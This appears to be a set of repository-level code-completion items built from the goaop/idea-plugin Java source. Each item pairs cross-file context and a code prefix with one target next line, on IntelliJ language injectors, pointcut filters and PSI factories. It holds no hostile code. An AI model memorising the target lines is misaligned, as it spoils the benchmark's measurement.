host.getParent(); // if (!(element instanceof ParameterList)) { // return false; // } // element = element.getParent(); // if (!(element instanceof MethodReference)) { // return false; // } // // PsiElement resolvedElement = ((MethodReference) element).resolve(); // if (!(resolvedElement instanceof MethodImpl)) { // return false; // } // // MethodImpl methodImpl = (MethodImpl) resolvedElement; // if (methodImpl.getFQN() == null) { // return false; // } // // return methodImpl.getFQN().startsWith("\\Go\\Aop\\Support\\PointcutBuilder"); // } // }
import com.aopphp.go.pattern.CodePattern; import com.intellij.openapi.util.TextRange; import com.intellij.psi.InjectedLanguagePlaces; import com.intellij.psi.LanguageInjector; import com.intellij.psi.PsiElement; import com.intellij.psi.PsiLanguageInjectionHost; import com.intellij.psi.util.PsiTreeUtil; import com.jetbrains.php.lang.PhpLanguage; import com.jetbrains.php.lang.documentation.phpdoc.psi.PhpDocComment; import com.jetbrains.php.lang.documentation.phpdoc.psi.tags.PhpDocParamTag; import com.jetbrains.php.lang.psi.elements.PhpClass; import com.jetbrains.php.lang.psi.elements.PhpClassMember; import com.jetbrains.php.lang.psi.elements.StringLiteralExpression; import org.jetbrains.annotations.NotNull;
package com.aopphp.go.injector; /** * PhpDeal injector is responsible to inject PHP syntax into the specific annotations */ public class PhpDealAssertInjector implements LanguageInjector { private static final String PHP_DEAL_ANNOTATION = "\\PhpDeal\\Annotation"; @Override public void getLanguagesToInject( @NotNull PsiLanguageInjectionHost host, @NotNull InjectedLanguagePlaces injectionPlacesRegistrar) { // we accept only PHP literal expressions, such as docBlocks and string for PointcutBuilder->method('<expr>') if (!(host instanceof StringLiteralExpression) || !host.isValidHost()) { return; } StringLiteralExpression literalExpression = (StringLiteralExpression) host;
// Path: src/com/aopphp/go/pattern/CodePattern.java // public class CodePattern extends PlatformPatterns { // // /** // * Matching name part after left parenthesis and one of annotation pointcut type // * \@execution(<className>) // * \@access(<className>) // * \@within(<className>) // */ // public static ElementPattern<PsiElement> insideAnnotationPointcut() { // return or( // psiElement(PointcutTypes.T_NAME_PART).withSuperParent(2, AnnotatedExecutionPointcut.class), // psiElement(PointcutTypes.T_NAME_PART).withSuperParent(2, AnnotatedAccessPointcut.class), // psiElement(PointcutTypes.T_NAME_PART).withSuperParent(2, AnnotatedWithinPointcut.class) // ); // } // // public static ElementPattern<PsiElement> insidePointcutLanguage() { // return psiElement().withLanguage(PointcutQueryLanguage.INSTANCE); // } // // public static ElementPattern<PsiElement> startOfMemberModifiers() { // return psiElement().afterLeafSkipping( // or( // psiElement(PointcutTypes.T_LEFT_PAREN), // psiElement(PointcutTypes.PRIVATE), // psiElement(PointcutTypes.PROTECTED), // psiElement(PointcutTypes.PUBLIC), // psiElement(PointcutTypes.FINAL), // psiElement(PointcutTypes.T_ALTERNATION), // psiElement().whitespace() // ), // or( // psiElement(PointcutTypes.EXECUTION), // psiElement(PointcutTypes.ACCESS) // ) // ); // } // // /** // * Checks if host is concrete annotation to inject syntax into it // * // * @param host Host element, typically string literal expression // * @param annotationPrefix Annotation prefix // * @return boolean // */ // public static boolean isInsideAnnotation(@NotNull StringLiteralExpression host, String annotationPrefix) { // // PhpDocTag phpDocTag = PsiTreeUtil.getParentOfType(host, PhpDocTag.class); // if (phpDocTag == null || !AnnotationPattern.getDocBlockTag().accepts(phpDocTag)) { // return false; // } // // PhpDocTagAnnotation phpDocAnnotationContainer = AnnotationUtil.getPhpDocAnnotationContainer(phpDocTag); // PhpClass phpClass = null; // if (phpDocAnnotationContainer != null) { // phpClass = phpDocAnnotationContainer.getPhpClass(); // } // // if (phpClass == null || phpClass.getFQN() == null) { // return false; // } // // return phpClass.getFQN().startsWith(annotationPrefix); // // } // // /** // * Checks if host is PointcutBuilder->method('<pointcutExpression>', function () {...}) // * @param host Host element is typically PHP string // * // * @return boolean // */ // public static boolean isInsidePointcutBuilderMethod(StringLiteralExpression host) // { // PsiElement element = host.getParent(); // if (!(element instanceof ParameterList)) { // return false; // } // element = element.getParent(); // if (!(element instanceof MethodReference)) { // return false; // } // // PsiElement resolvedElement = ((MethodReference) element).resolve(); // if (!(resolvedElement instanceof MethodImpl)) { // return false; // } // // MethodImpl methodImpl = (MethodImpl) resolvedElement; // if (methodImpl.getFQN() == null) { // return false; // } // // return methodImpl.getFQN().startsWith("\\Go\\Aop\\Support\\PointcutBuilder"); // } // } // Path: src/com/aopphp/go/injector/PhpDealAssertInjector.java import com.aopphp.go.pattern.CodePattern; import com.intellij.openapi.util.TextRange; import com.intellij.psi.InjectedLanguagePlaces; import com.intellij.psi.LanguageInjector; import com.intellij.psi.PsiElement; import com.intellij.psi.PsiLanguageInjectionHost; import com.intellij.psi.util.PsiTreeUtil; import com.jetbrains.php.lang.PhpLanguage; import com.jetbrains.php.lang.documentation.phpdoc.psi.PhpDocComment; import com.jetbrains.php.lang.documentation.phpdoc.psi.tags.PhpDocParamTag; import com.jetbrains.php.lang.psi.elements.PhpClass; import com.jetbrains.php.lang.psi.elements.PhpClassMember; import com.jetbrains.php.lang.psi.elements.StringLiteralExpression; import org.jetbrains.annotations.NotNull; package com.aopphp.go.injector; /** * PhpDeal injector is responsible to inject PHP syntax into the specific annotations */ public class PhpDealAssertInjector implements LanguageInjector { private static final String PHP_DEAL_ANNOTATION = "\\PhpDeal\\Annotation"; @Override public void getLanguagesToInject( @NotNull PsiLanguageInjectionHost host, @NotNull InjectedLanguagePlaces injectionPlacesRegistrar) { // we accept only PHP literal expressions, such as docBlocks and string for PointcutBuilder->method('<expr>') if (!(host instanceof StringLiteralExpression) || !host.isValidHost()) { return; } StringLiteralExpression literalExpression = (StringLiteralExpression) host;
if (!CodePattern.isInsideAnnotation(literalExpression, PHP_DEAL_ANNOTATION)) {
goaop/idea-plugin
src/com/aopphp/go/pointcut/AnnotationPointcut.java
// Path: src/com/aopphp/go/index/AnnotatedPhpNamedElementIndex.java // public class AnnotatedPhpNamedElementIndex extends FileBasedIndexExtension<String, Set<String>> { // // public static final ID<String, Set<String>> KEY = ID.create("com.aopphp.go.annotated.elements"); // private static final KeyDescriptor<String> ENUMERATOR_STRING_DESCRIPTOR = new EnumeratorStringDescriptor(); // private static final StringSetDataExternalizer STRING_SET_DATA_EXTERNALIZER = ReflectionUtil.newInstance(StringSetDataExternalizer.class); // // @NotNull // @Override // public ID<String, Set<String>> getName() { // return KEY; // } // // @NotNull // @Override // public DataIndexer<String, Set<String>, FileContent> getIndexer() { // return new DataIndexer<String, Set<String>, FileContent>() { // @NotNull // @Override // public Map<String, Set<String>> map(@NotNull FileContent inputData) { // PsiFile psiFile = inputData.getPsiFile(); // if(!(psiFile instanceof PhpFile)) { // return Collections.emptyMap(); // } // // return new AbstractDataIndexer<Set<String>>((PhpFile) psiFile) { // // private Map<String, String> fileImports; // // @Override // protected void visitPhpDocTag(final PhpDocTag phpDocTag, final Map<String, Set<String>> map) { // if (fileImports == null) { // fileImports = PluginUtil.getFileUseImports(phpDocTag.getContainingFile()); // } // AnnotatedPhpNamedElementIndex.visitPhpDocTag(phpDocTag, fileImports, map); // } // }.map(); // } // }; // } // // @NotNull // @Override // public KeyDescriptor<String> getKeyDescriptor() { // return ENUMERATOR_STRING_DESCRIPTOR; // } // // @NotNull // @Override // public DataExternalizer<Set<String>> getValueExternalizer() { // return STRING_SET_DATA_EXTERNALIZER; // } // // @NotNull // @Override // public FileBasedIndex.InputFilter getInputFilter() { // return PhpConstantNameIndex.PHP_INPUT_FILTER; // } // // @Override // public boolean dependsOnFileContent() { // return true; // } // // @Override // public int getVersion() { // return 2; // } // // private static void visitPhpDocTag(final PhpDocTag phpDocTag, final Map<String, String> fileImports, // final Map<String, Set<String>> map) { // String annotationFqnName = PluginUtil.getClassNameReference(phpDocTag, fileImports); // if(annotationFqnName == null) { // return; // } // // // | - PhpDocComment // // | | - PhpDocTag // // | // // | - PhpNamedElement // // PhpDocComment docComment = PsiTreeUtil.getParentOfType(phpDocTag, PhpDocComment.class); // if (docComment == null) { // return; // } // // PsiElement phpNamedElement = docComment.getOwner(); // if (phpNamedElement == null || !(phpNamedElement instanceof PhpNamedElement)) { // return; // } // String elementFQN = ((PhpNamedElement) phpNamedElement).getFQN(); // if (map.containsKey(annotationFqnName)) { // Set<String> strings = map.get(annotationFqnName); // strings.add(elementFQN); // } else { // Set<String> strings = new THashSet<>(); // strings.add(elementFQN); // map.put(annotationFqnName, strings); // } // } // }
import com.aopphp.go.index.AnnotatedPhpNamedElementIndex; import com.intellij.psi.search.GlobalSearchScope; import com.intellij.psi.util.PsiTreeUtil; import com.intellij.util.indexing.FileBasedIndex; import com.intellij.util.indexing.ID; import com.jetbrains.php.PhpIndex; import com.jetbrains.php.lang.documentation.phpdoc.psi.PhpDocComment; import com.jetbrains.php.lang.documentation.phpdoc.psi.tags.PhpDocTag; import com.jetbrains.php.lang.psi.elements.Field; import com.jetbrains.php.lang.psi.elements.Method; import com.jetbrains.php.lang.psi.elements.PhpClass; import com.jetbrains.php.lang.psi.elements.PhpNamedElement; import de.espend.idea.php.annotation.util.AnnotationUtil; import java.util.Collections; import java.util.List; import java.util.Set;
* * @param element PHP element to check * * @return true if pointcut can match this named element */ private boolean canMatchElement(PhpNamedElement element) { if (element instanceof Method) { return filterKind.contains(KindFilter.KIND_METHOD); } if (element instanceof Field) { return filterKind.contains(KindFilter.KIND_PROPERTY); } if (element instanceof PhpClass) { return filterKind.contains(KindFilter.KIND_CLASS); } return false; } @Override public Set<KindFilter> getKind() { return filterKind; } private static class AnnotatedPhpNamedElementClassFilter implements PointFilter { private static final Set<KindFilter> KIND_CLASS = Collections.singleton(KindFilter.KIND_CLASS); private static final FileBasedIndex INDEX = FileBasedIndex.getInstance();
// Path: src/com/aopphp/go/index/AnnotatedPhpNamedElementIndex.java // public class AnnotatedPhpNamedElementIndex extends FileBasedIndexExtension<String, Set<String>> { // // public static final ID<String, Set<String>> KEY = ID.create("com.aopphp.go.annotated.elements"); // private static final KeyDescriptor<String> ENUMERATOR_STRING_DESCRIPTOR = new EnumeratorStringDescriptor(); // private static final StringSetDataExternalizer STRING_SET_DATA_EXTERNALIZER = ReflectionUtil.newInstance(StringSetDataExternalizer.class); // // @NotNull // @Override // public ID<String, Set<String>> getName() { // return KEY; // } // // @NotNull // @Override // public DataIndexer<String, Set<String>, FileContent> getIndexer() { // return new DataIndexer<String, Set<String>, FileContent>() { // @NotNull // @Override // public Map<String, Set<String>> map(@NotNull FileContent inputData) { // PsiFile psiFile = inputData.getPsiFile(); // if(!(psiFile instanceof PhpFile)) { // return Collections.emptyMap(); // } // // return new AbstractDataIndexer<Set<String>>((PhpFile) psiFile) { // // private Map<String, String> fileImports; // // @Override // protected void visitPhpDocTag(final PhpDocTag phpDocTag, final Map<String, Set<String>> map) { // if (fileImports == null) { // fileImports = PluginUtil.getFileUseImports(phpDocTag.getContainingFile()); // } // AnnotatedPhpNamedElementIndex.visitPhpDocTag(phpDocTag, fileImports, map); // } // }.map(); // } // }; // } // // @NotNull // @Override // public KeyDescriptor<String> getKeyDescriptor() { // return ENUMERATOR_STRING_DESCRIPTOR; // } // // @NotNull // @Override // public DataExternalizer<Set<String>> getValueExternalizer() { // return STRING_SET_DATA_EXTERNALIZER; // } // // @NotNull // @Override // public FileBasedIndex.InputFilter getInputFilter() { // return PhpConstantNameIndex.PHP_INPUT_FILTER; // } // // @Override // public boolean dependsOnFileContent() { // return true; // } // // @Override // public int getVersion() { // return 2; // } // // private static void visitPhpDocTag(final PhpDocTag phpDocTag, final Map<String, String> fileImports, // final Map<String, Set<String>> map) { // String annotationFqnName = PluginUtil.getClassNameReference(phpDocTag, fileImports); // if(annotationFqnName == null) { // return; // } // // // | - PhpDocComment // // | | - PhpDocTag // // | // // | - PhpNamedElement // // PhpDocComment docComment = PsiTreeUtil.getParentOfType(phpDocTag, PhpDocComment.class); // if (docComment == null) { // return; // } // // PsiElement phpNamedElement = docComment.getOwner(); // if (phpNamedElement == null || !(phpNamedElement instanceof PhpNamedElement)) { // return; // } // String elementFQN = ((PhpNamedElement) phpNamedElement).getFQN(); // if (map.containsKey(annotationFqnName)) { // Set<String> strings = map.get(annotationFqnName); // strings.add(elementFQN); // } else { // Set<String> strings = new THashSet<>(); // strings.add(elementFQN); // map.put(annotationFqnName, strings); // } // } // } // Path: src/com/aopphp/go/pointcut/AnnotationPointcut.java import com.aopphp.go.index.AnnotatedPhpNamedElementIndex; import com.intellij.psi.search.GlobalSearchScope; import com.intellij.psi.util.PsiTreeUtil; import com.intellij.util.indexing.FileBasedIndex; import com.intellij.util.indexing.ID; import com.jetbrains.php.PhpIndex; import com.jetbrains.php.lang.documentation.phpdoc.psi.PhpDocComment; import com.jetbrains.php.lang.documentation.phpdoc.psi.tags.PhpDocTag; import com.jetbrains.php.lang.psi.elements.Field; import com.jetbrains.php.lang.psi.elements.Method; import com.jetbrains.php.lang.psi.elements.PhpClass; import com.jetbrains.php.lang.psi.elements.PhpNamedElement; import de.espend.idea.php.annotation.util.AnnotationUtil; import java.util.Collections; import java.util.List; import java.util.Set; * * @param element PHP element to check * * @return true if pointcut can match this named element */ private boolean canMatchElement(PhpNamedElement element) { if (element instanceof Method) { return filterKind.contains(KindFilter.KIND_METHOD); } if (element instanceof Field) { return filterKind.contains(KindFilter.KIND_PROPERTY); } if (element instanceof PhpClass) { return filterKind.contains(KindFilter.KIND_CLASS); } return false; } @Override public Set<KindFilter> getKind() { return filterKind; } private static class AnnotatedPhpNamedElementClassFilter implements PointFilter { private static final Set<KindFilter> KIND_CLASS = Collections.singleton(KindFilter.KIND_CLASS); private static final FileBasedIndex INDEX = FileBasedIndex.getInstance();
private static final ID<String, Set<String>> KEY = AnnotatedPhpNamedElementIndex.KEY;
goaop/idea-plugin
src/com/aopphp/go/psi/ClassFilter.java
// Path: src/com/aopphp/go/pointcut/PointFilter.java // public interface PointFilter extends Serializable // { // boolean matches(PhpNamedElement element); // // Set<KindFilter> getKind(); // }
import java.util.List; import org.jetbrains.annotations.*; import com.intellij.psi.PsiElement; import com.aopphp.go.pointcut.PointFilter;
// This is a generated file. Not intended for manual editing. package com.aopphp.go.psi; public interface ClassFilter extends PsiElement { @NotNull NamespacePattern getNamespacePattern();
// Path: src/com/aopphp/go/pointcut/PointFilter.java // public interface PointFilter extends Serializable // { // boolean matches(PhpNamedElement element); // // Set<KindFilter> getKind(); // } // Path: src/com/aopphp/go/psi/ClassFilter.java import java.util.List; import org.jetbrains.annotations.*; import com.intellij.psi.PsiElement; import com.aopphp.go.pointcut.PointFilter; // This is a generated file. Not intended for manual editing. package com.aopphp.go.psi; public interface ClassFilter extends PsiElement { @NotNull NamespacePattern getNamespacePattern();
PointFilter getClassFilterMatcher();
goaop/idea-plugin
src/com/aopphp/go/psi/PointcutElementFactory.java
// Path: src/com/aopphp/go/GoAopFileType.java // public class GoAopFileType extends LanguageFileType { // public static final GoAopFileType INSTANCE = new GoAopFileType(); // // private GoAopFileType() { // super(PointcutQueryLanguage.INSTANCE); // } // // @NotNull // @Override // public String getName() { // return "Go! AOP Pointcut"; // } // // @NotNull // @Override // public String getDescription() { // return "Go! AOP Pointcut Expression Syntax"; // } // // @NotNull // @Override // public String getDefaultExtension() { // return ".goaop"; // } // // @Nullable // @Override // public Icon getIcon() { // return GoAopIcons.FILE; // } // }
import com.aopphp.go.GoAopFileType; import com.intellij.openapi.project.Project; import com.intellij.psi.PsiElement; import com.intellij.psi.PsiFileFactory; import org.jetbrains.annotations.NotNull;
package com.aopphp.go.psi; /** * Factory for pointcut elements */ public class PointcutElementFactory { /** * Creates a pointcut expression from string expression * * @param project Instance of current project * @param expression Literal expression of pointcut * * @return PointcutExpression instance if Ok or null */ public static PointcutExpression createPointcut(Project project, String expression) { final PointcutFile file = createFile(project, expression); PsiElement firstChild = file.getFirstChild(); boolean isPointcut = (firstChild instanceof PointcutExpression); return isPointcut ? (PointcutExpression)firstChild : null; } @NotNull public static PointcutFile createFile(Project project, String text) { String name = "dummy.goaop"; PsiFileFactory fileFactory = PsiFileFactory.getInstance(project);
// Path: src/com/aopphp/go/GoAopFileType.java // public class GoAopFileType extends LanguageFileType { // public static final GoAopFileType INSTANCE = new GoAopFileType(); // // private GoAopFileType() { // super(PointcutQueryLanguage.INSTANCE); // } // // @NotNull // @Override // public String getName() { // return "Go! AOP Pointcut"; // } // // @NotNull // @Override // public String getDescription() { // return "Go! AOP Pointcut Expression Syntax"; // } // // @NotNull // @Override // public String getDefaultExtension() { // return ".goaop"; // } // // @Nullable // @Override // public Icon getIcon() { // return GoAopIcons.FILE; // } // } // Path: src/com/aopphp/go/psi/PointcutElementFactory.java import com.aopphp.go.GoAopFileType; import com.intellij.openapi.project.Project; import com.intellij.psi.PsiElement; import com.intellij.psi.PsiFileFactory; import org.jetbrains.annotations.NotNull; package com.aopphp.go.psi; /** * Factory for pointcut elements */ public class PointcutElementFactory { /** * Creates a pointcut expression from string expression * * @param project Instance of current project * @param expression Literal expression of pointcut * * @return PointcutExpression instance if Ok or null */ public static PointcutExpression createPointcut(Project project, String expression) { final PointcutFile file = createFile(project, expression); PsiElement firstChild = file.getFirstChild(); boolean isPointcut = (firstChild instanceof PointcutExpression); return isPointcut ? (PointcutExpression)firstChild : null; } @NotNull public static PointcutFile createFile(Project project, String text) { String name = "dummy.goaop"; PsiFileFactory fileFactory = PsiFileFactory.getInstance(project);
return (PointcutFile) fileFactory.createFileFromText(name, GoAopFileType.INSTANCE, text);
goaop/idea-plugin
src/com/aopphp/go/injector/PointcutQueryLanguageInjector.java
// Path: src/com/aopphp/go/PointcutQueryLanguage.java // public class PointcutQueryLanguage extends Language { // public static final PointcutQueryLanguage INSTANCE = new PointcutQueryLanguage(); // // private PointcutQueryLanguage() { // super("Go! AOP Pointcut query"); // } // } // // Path: src/com/aopphp/go/pattern/CodePattern.java // public class CodePattern extends PlatformPatterns { // // /** // * Matching name part after left parenthesis and one of annotation pointcut type // * \@execution(<className>) // * \@access(<className>) // * \@within(<className>) // */ // public static ElementPattern<PsiElement> insideAnnotationPointcut() { // return or( // psiElement(PointcutTypes.T_NAME_PART).withSuperParent(2, AnnotatedExecutionPointcut.class), // psiElement(PointcutTypes.T_NAME_PART).withSuperParent(2, AnnotatedAccessPointcut.class), // psiElement(PointcutTypes.T_NAME_PART).withSuperParent(2, AnnotatedWithinPointcut.class) // ); // } // // public static ElementPattern<PsiElement> insidePointcutLanguage() { // return psiElement().withLanguage(PointcutQueryLanguage.INSTANCE); // } // // public static ElementPattern<PsiElement> startOfMemberModifiers() { // return psiElement().afterLeafSkipping( // or( // psiElement(PointcutTypes.T_LEFT_PAREN), // psiElement(PointcutTypes.PRIVATE), // psiElement(PointcutTypes.PROTECTED), // psiElement(PointcutTypes.PUBLIC), // psiElement(PointcutTypes.FINAL), // psiElement(PointcutTypes.T_ALTERNATION), // psiElement().whitespace() // ), // or( // psiElement(PointcutTypes.EXECUTION), // psiElement(PointcutTypes.ACCESS) // ) // ); // } // // /** // * Checks if host is concrete annotation to inject syntax into it // * // * @param host Host element, typically string literal expression // * @param annotationPrefix Annotation prefix // * @return boolean // */ // public static boolean isInsideAnnotation(@NotNull StringLiteralExpression host, String annotationPrefix) { // // PhpDocTag phpDocTag = PsiTreeUtil.getParentOfType(host, PhpDocTag.class); // if (phpDocTag == null || !AnnotationPattern.getDocBlockTag().accepts(phpDocTag)) { // return false; // } // // PhpDocTagAnnotation phpDocAnnotationContainer = AnnotationUtil.getPhpDocAnnotationContainer(phpDocTag); // PhpClass phpClass = null; // if (phpDocAnnotationContainer != null) { // phpClass = phpDocAnnotationContainer.getPhpClass(); // } // // if (phpClass == null || phpClass.getFQN() == null) { // return false; // } // // return phpClass.getFQN().startsWith(annotationPrefix); // // } // // /** // * Checks if host is PointcutBuilder->method('<pointcutExpression>', function () {...}) // * @param host Host element is typically PHP string // * // * @return boolean // */ // public static boolean isInsidePointcutBuilderMethod(StringLiteralExpression host) // { // PsiElement element = host.getParent(); // if (!(element instanceof ParameterList)) { // return false; // } // element = element.getParent(); // if (!(element instanceof MethodReference)) { // return false; // } // // PsiElement resolvedElement = ((MethodReference) element).resolve(); // if (!(resolvedElement instanceof MethodImpl)) { // return false; // } // // MethodImpl methodImpl = (MethodImpl) resolvedElement; // if (methodImpl.getFQN() == null) { // return false; // } // // return methodImpl.getFQN().startsWith("\\Go\\Aop\\Support\\PointcutBuilder"); // } // }
import com.aopphp.go.PointcutQueryLanguage; import com.aopphp.go.pattern.CodePattern; import com.intellij.openapi.util.TextRange; import com.intellij.psi.InjectedLanguagePlaces; import com.intellij.psi.LanguageInjector; import com.intellij.psi.PsiLanguageInjectionHost; import com.jetbrains.php.lang.psi.elements.StringLiteralExpression; import org.jetbrains.annotations.NotNull;
package com.aopphp.go.injector; /** * PointcutQuery injector is responsible to inject Go! AOP Pointcut syntax into the StringLiteral expressions */ public class PointcutQueryLanguageInjector implements LanguageInjector { private static final String GO_AOP_ANNOTATION = "\\Go\\Lang\\Annotation"; @Override public void getLanguagesToInject( @NotNull PsiLanguageInjectionHost host, @NotNull InjectedLanguagePlaces injectionPlacesRegistrar) { // we accept only PHP literal expressions, such as docBlocks and string for PointcutBuilder->method('<expr>') if (!(host instanceof StringLiteralExpression) || !host.isValidHost()) { return; } StringLiteralExpression literalExpression = (StringLiteralExpression) host;
// Path: src/com/aopphp/go/PointcutQueryLanguage.java // public class PointcutQueryLanguage extends Language { // public static final PointcutQueryLanguage INSTANCE = new PointcutQueryLanguage(); // // private PointcutQueryLanguage() { // super("Go! AOP Pointcut query"); // } // } // // Path: src/com/aopphp/go/pattern/CodePattern.java // public class CodePattern extends PlatformPatterns { // // /** // * Matching name part after left parenthesis and one of annotation pointcut type // * \@execution(<className>) // * \@access(<className>) // * \@within(<className>) // */ // public static ElementPattern<PsiElement> insideAnnotationPointcut() { // return or( // psiElement(PointcutTypes.T_NAME_PART).withSuperParent(2, AnnotatedExecutionPointcut.class), // psiElement(PointcutTypes.T_NAME_PART).withSuperParent(2, AnnotatedAccessPointcut.class), // psiElement(PointcutTypes.T_NAME_PART).withSuperParent(2, AnnotatedWithinPointcut.class) // ); // } // // public static ElementPattern<PsiElement> insidePointcutLanguage() { // return psiElement().withLanguage(PointcutQueryLanguage.INSTANCE); // } // // public static ElementPattern<PsiElement> startOfMemberModifiers() { // return psiElement().afterLeafSkipping( // or( // psiElement(PointcutTypes.T_LEFT_PAREN), // psiElement(PointcutTypes.PRIVATE), // psiElement(PointcutTypes.PROTECTED), // psiElement(PointcutTypes.PUBLIC), // psiElement(PointcutTypes.FINAL), // psiElement(PointcutTypes.T_ALTERNATION), // psiElement().whitespace() // ), // or( // psiElement(PointcutTypes.EXECUTION), // psiElement(PointcutTypes.ACCESS) // ) // ); // } // // /** // * Checks if host is concrete annotation to inject syntax into it // * // * @param host Host element, typically string literal expression // * @param annotationPrefix Annotation prefix // * @return boolean // */ // public static boolean isInsideAnnotation(@NotNull StringLiteralExpression host, String annotationPrefix) { // // PhpDocTag phpDocTag = PsiTreeUtil.getParentOfType(host, PhpDocTag.class); // if (phpDocTag == null || !AnnotationPattern.getDocBlockTag().accepts(phpDocTag)) { // return false; // } // // PhpDocTagAnnotation phpDocAnnotationContainer = AnnotationUtil.getPhpDocAnnotationContainer(phpDocTag); // PhpClass phpClass = null; // if (phpDocAnnotationContainer != null) { // phpClass = phpDocAnnotationContainer.getPhpClass(); // } // // if (phpClass == null || phpClass.getFQN() == null) { // return false; // } // // return phpClass.getFQN().startsWith(annotationPrefix); // // } // // /** // * Checks if host is PointcutBuilder->method('<pointcutExpression>', function () {...}) // * @param host Host element is typically PHP string // * // * @return boolean // */ // public static boolean isInsidePointcutBuilderMethod(StringLiteralExpression host) // { // PsiElement element = host.getParent(); // if (!(element instanceof ParameterList)) { // return false; // } // element = element.getParent(); // if (!(element instanceof MethodReference)) { // return false; // } // // PsiElement resolvedElement = ((MethodReference) element).resolve(); // if (!(resolvedElement instanceof MethodImpl)) { // return false; // } // // MethodImpl methodImpl = (MethodImpl) resolvedElement; // if (methodImpl.getFQN() == null) { // return false; // } // // return methodImpl.getFQN().startsWith("\\Go\\Aop\\Support\\PointcutBuilder"); // } // } // Path: src/com/aopphp/go/injector/PointcutQueryLanguageInjector.java import com.aopphp.go.PointcutQueryLanguage; import com.aopphp.go.pattern.CodePattern; import com.intellij.openapi.util.TextRange; import com.intellij.psi.InjectedLanguagePlaces; import com.intellij.psi.LanguageInjector; import com.intellij.psi.PsiLanguageInjectionHost; import com.jetbrains.php.lang.psi.elements.StringLiteralExpression; import org.jetbrains.annotations.NotNull; package com.aopphp.go.injector; /** * PointcutQuery injector is responsible to inject Go! AOP Pointcut syntax into the StringLiteral expressions */ public class PointcutQueryLanguageInjector implements LanguageInjector { private static final String GO_AOP_ANNOTATION = "\\Go\\Lang\\Annotation"; @Override public void getLanguagesToInject( @NotNull PsiLanguageInjectionHost host, @NotNull InjectedLanguagePlaces injectionPlacesRegistrar) { // we accept only PHP literal expressions, such as docBlocks and string for PointcutBuilder->method('<expr>') if (!(host instanceof StringLiteralExpression) || !host.isValidHost()) { return; } StringLiteralExpression literalExpression = (StringLiteralExpression) host;
boolean enableInjection = CodePattern.isInsideAnnotation(literalExpression, GO_AOP_ANNOTATION);
goaop/idea-plugin
src/com/aopphp/go/injector/PointcutQueryLanguageInjector.java
// Path: src/com/aopphp/go/PointcutQueryLanguage.java // public class PointcutQueryLanguage extends Language { // public static final PointcutQueryLanguage INSTANCE = new PointcutQueryLanguage(); // // private PointcutQueryLanguage() { // super("Go! AOP Pointcut query"); // } // } // // Path: src/com/aopphp/go/pattern/CodePattern.java // public class CodePattern extends PlatformPatterns { // // /** // * Matching name part after left parenthesis and one of annotation pointcut type // * \@execution(<className>) // * \@access(<className>) // * \@within(<className>) // */ // public static ElementPattern<PsiElement> insideAnnotationPointcut() { // return or( // psiElement(PointcutTypes.T_NAME_PART).withSuperParent(2, AnnotatedExecutionPointcut.class), // psiElement(PointcutTypes.T_NAME_PART).withSuperParent(2, AnnotatedAccessPointcut.class), // psiElement(PointcutTypes.T_NAME_PART).withSuperParent(2, AnnotatedWithinPointcut.class) // ); // } // // public static ElementPattern<PsiElement> insidePointcutLanguage() { // return psiElement().withLanguage(PointcutQueryLanguage.INSTANCE); // } // // public static ElementPattern<PsiElement> startOfMemberModifiers() { // return psiElement().afterLeafSkipping( // or( // psiElement(PointcutTypes.T_LEFT_PAREN), // psiElement(PointcutTypes.PRIVATE), // psiElement(PointcutTypes.PROTECTED), // psiElement(PointcutTypes.PUBLIC), // psiElement(PointcutTypes.FINAL), // psiElement(PointcutTypes.T_ALTERNATION), // psiElement().whitespace() // ), // or( // psiElement(PointcutTypes.EXECUTION), // psiElement(PointcutTypes.ACCESS) // ) // ); // } // // /** // * Checks if host is concrete annotation to inject syntax into it // * // * @param host Host element, typically string literal expression // * @param annotationPrefix Annotation prefix // * @return boolean // */ // public static boolean isInsideAnnotation(@NotNull StringLiteralExpression host, String annotationPrefix) { // // PhpDocTag phpDocTag = PsiTreeUtil.getParentOfType(host, PhpDocTag.class); // if (phpDocTag == null || !AnnotationPattern.getDocBlockTag().accepts(phpDocTag)) { // return false; // } // // PhpDocTagAnnotation phpDocAnnotationContainer = AnnotationUtil.getPhpDocAnnotationContainer(phpDocTag); // PhpClass phpClass = null; // if (phpDocAnnotationContainer != null) { // phpClass = phpDocAnnotationContainer.getPhpClass(); // } // // if (phpClass == null || phpClass.getFQN() == null) { // return false; // } // // return phpClass.getFQN().startsWith(annotationPrefix); // // } // // /** // * Checks if host is PointcutBuilder->method('<pointcutExpression>', function () {...}) // * @param host Host element is typically PHP string // * // * @return boolean // */ // public static boolean isInsidePointcutBuilderMethod(StringLiteralExpression host) // { // PsiElement element = host.getParent(); // if (!(element instanceof ParameterList)) { // return false; // } // element = element.getParent(); // if (!(element instanceof MethodReference)) { // return false; // } // // PsiElement resolvedElement = ((MethodReference) element).resolve(); // if (!(resolvedElement instanceof MethodImpl)) { // return false; // } // // MethodImpl methodImpl = (MethodImpl) resolvedElement; // if (methodImpl.getFQN() == null) { // return false; // } // // return methodImpl.getFQN().startsWith("\\Go\\Aop\\Support\\PointcutBuilder"); // } // }
import com.aopphp.go.PointcutQueryLanguage; import com.aopphp.go.pattern.CodePattern; import com.intellij.openapi.util.TextRange; import com.intellij.psi.InjectedLanguagePlaces; import com.intellij.psi.LanguageInjector; import com.intellij.psi.PsiLanguageInjectionHost; import com.jetbrains.php.lang.psi.elements.StringLiteralExpression; import org.jetbrains.annotations.NotNull;
package com.aopphp.go.injector; /** * PointcutQuery injector is responsible to inject Go! AOP Pointcut syntax into the StringLiteral expressions */ public class PointcutQueryLanguageInjector implements LanguageInjector { private static final String GO_AOP_ANNOTATION = "\\Go\\Lang\\Annotation"; @Override public void getLanguagesToInject( @NotNull PsiLanguageInjectionHost host, @NotNull InjectedLanguagePlaces injectionPlacesRegistrar) { // we accept only PHP literal expressions, such as docBlocks and string for PointcutBuilder->method('<expr>') if (!(host instanceof StringLiteralExpression) || !host.isValidHost()) { return; } StringLiteralExpression literalExpression = (StringLiteralExpression) host; boolean enableInjection = CodePattern.isInsideAnnotation(literalExpression, GO_AOP_ANNOTATION); enableInjection |= CodePattern.isInsidePointcutBuilderMethod(literalExpression); if (enableInjection) { TextRange rangeInsideHost = new TextRange(1, Math.max(literalExpression.getTextLength()-1, 1));
